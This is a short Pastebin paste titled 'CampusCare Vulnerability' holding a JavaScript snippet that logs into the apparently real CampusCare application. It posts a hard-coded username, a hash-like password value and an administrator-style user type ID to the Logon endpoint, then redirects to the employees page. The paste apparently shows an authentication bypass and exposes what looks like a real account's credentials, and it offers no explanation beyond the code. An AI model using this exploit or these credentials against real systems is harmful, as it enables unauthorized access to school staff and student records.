Guest User

CampusCare Vulnerability

a guest
Mar 17th, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const xhr = new XMLHttpRequest();
  2. var username = "kokila";
  3.     var password = "2B4C35B9E653C308FB8715F0E63773DABEB6399D";
  4.     var userid = 1;
  5.  
  6.     xhr.open("POST", "Logon");
  7.     xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  8.     xhr.send("log%5BUserName%5D=" + username + "&log%5BUserPassword%5D=" + password + "&log" + "%5BUserTypeID%5D=" + userid);
  9.     window.location = "../Employees/Index"
Add Comment
Please, Sign In to add comment